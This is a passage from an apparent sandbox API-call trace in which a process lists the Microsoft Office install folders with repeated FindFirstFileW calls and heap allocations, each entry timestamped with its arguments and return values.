Office\\root\\CLIPART\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0096.093] GetProcessHeap () returned 0xc00000 [0096.093] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0096.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0096.556] GetProcessHeap () returned 0xc00000 [0096.557] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0096.557] GetProcessHeap () returned 0xc00000 [0096.557] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0096.557] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0096.559] GetProcessHeap () returned 0xc00000 [0096.559] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0096.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e96e0 [0096.567] GetProcessHeap () returned 0xc00000 [0096.567] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0096.567] GetProcessHeap () returned 0xc00000 [0096.567] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0096.570] GetProcessHeap () returned 0xc00000 [0096.570] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0096.570] GetProcessHeap () returned 0xc00000 [0096.570] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0096.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0096.683] GetProcessHeap () returned 0xc00000 [0096.683] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0096.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0096.744] GetProcessHeap () returned 0xc00000 [0096.744] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0096.744] GetProcessHeap () returned 0xc00000 [0096.744] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0096.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0096.999] GetProcessHeap () returned 0xc00000 [0096.999] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0096.999] GetProcessHeap () returned 0xc00000 [0096.999] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0097.000] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0097.204] GetProcessHeap () returned 0xc00000 [0097.204] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0097.204] GetProcessHeap () returned 0xc00000 [0097.204] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0097.206] GetProcessHeap () returned 0xc00000 [0097.206] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0097.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Flattener\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0097.266] GetProcessHeap () returned 0xc00000 [0097.266] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0097.266] GetProcessHeap () returned 0xc00000 [0097.266] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0097.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\fre\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0097.269] GetProcessHeap () returned 0xc00000 [0097.269] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0097.269] GetProcessHeap () returned 0xc00000 [0097.269] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0097.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0097.278] GetProcessHeap () returned 0xc00000 [0097.278] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0097.278] GetProcessHeap () returned 0xc00000 [0097.278] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0097.278] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0099.763] GetProcessHeap () returned 0xc00000 [0099.763] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0099.763] GetProcessHeap () returned 0xc00000 [0099.763] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0099.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\loc\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e94a0 [0099.765] GetProcessHeap () returned 0xc00000 [0099.765] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0099.765] GetProcessHeap () returned 0xc00000 [0099.765] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0099.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0099.914] GetProcessHeap () returned 0xc00000 [0099.914] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0099.914] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e8f20 [0100.023] GetProcessHeap () returned 0xc00000 [0100.023] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0100.023] GetProcessHeap () returned 0xc00000 [0100.023] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0100.024] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\es-es\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e93a0 [0100.736] GetProcessHeap () returned 0xc00000 [0100.736] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0100.736] GetProcessHeap () returned 0xc00000 [0100.737] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0100.738] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\fr-fr\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37e95e0 [0100.746] GetProcessHeap () returned 0xc00000 [0100.746] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0100.746] GetProcessHeap () returned 0xc00000 [0100.746] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0100.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\mcxml\\x-none\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0101.091] GetProcessHeap () returned 0xc00000 [0101.091] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0101.093] GetProcessHeap () returned 0xc00000 [0101.093] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37948a8 | out: hHeap=0xc00000) returned 1 [0101.093] GetProcessHeap () returned 0xc00000 [0101.093] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37948a8 [0101.093] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\*", lpFindFileData=0x2fdedf8 | out: lpFindFileData=0x2fdedf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0103.597] GetProcessHeap () returned 0xc00000 [0103.597] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0103.598] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0106.573] GetProcessHeap () returned 0xc00000 [0106.573] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0106.573] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\Bibliography\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ac4a8a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9ac4a8a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8ca0 [0109.365] GetProcessHeap () returned 0xc00000 [0109.365] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0109.365] GetProcessHeap () returned 0xc00000 [0109.365] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0109.365] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\DataServices\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1697068, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x99937c0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99937c0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e8da0 [0109.928] GetProcessHeap () returned 0xc00000 [0109.928] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0112.020] GetProcessHeap () returned 0xc00000 [0112.020] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0112.020] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBFTSCM\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e9820 [0112.099] GetProcessHeap () returned 0xc00000 [0112.099] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0112.099] GetProcessHeap () returned 0xc00000 [0112.099] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0112.100] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PUBSPAPR\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e89e0 [0112.133] GetProcessHeap () returned 0xc00000 [0112.133] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0112.133] GetProcessHeap () returned 0xc00000 [0112.133] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37d88e8 [0112.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\*", lpFindFileData=0x2fde8e8 | out: lpFindFileData=0x2fde8e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd523, dwReserved1=0x1fff, cFileName=".", cAlternateFileName="")) returned 0x37e9320 [0112.138] GetProcessHeap () returned 0xc00000 [0112.138] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37d88e8 | out: hHeap=0xc00000) returned 1 [0112.198] GetProcessHeap () returned 0xc00000 [0112.198] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0112.200] GetProcessHeap () returned 0xc00000 [0112.201] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0112.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1036\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0112.203] GetProcessHeap () returned 0xc00000 [0112.203] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0112.203] GetProcessHeap () returned 0xc00000 [0112.203] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0112.203] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\3082\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0112.204] GetProcessHeap () returned 0xc00000 [0112.204] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0112.204] GetProcessHeap () returned 0xc00000 [0112.204] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0112.204] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\AccessWeb\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0112.205] GetProcessHeap () returned 0xc00000 [0112.205] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0x37c78d8 | out: hHeap=0xc00000) returned 1 [0112.205] GetProcessHeap () returned 0xc00000 [0112.205] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0x37c78d8 [0112.205] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\*", lpFindFileData=0x2fdeb70 | out: lpFindFileData=0x2fdeb70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1335b74d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1335b74d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff725, dwReserved1=0x4201, cFileName=".", cAlternateFileName="")) returned 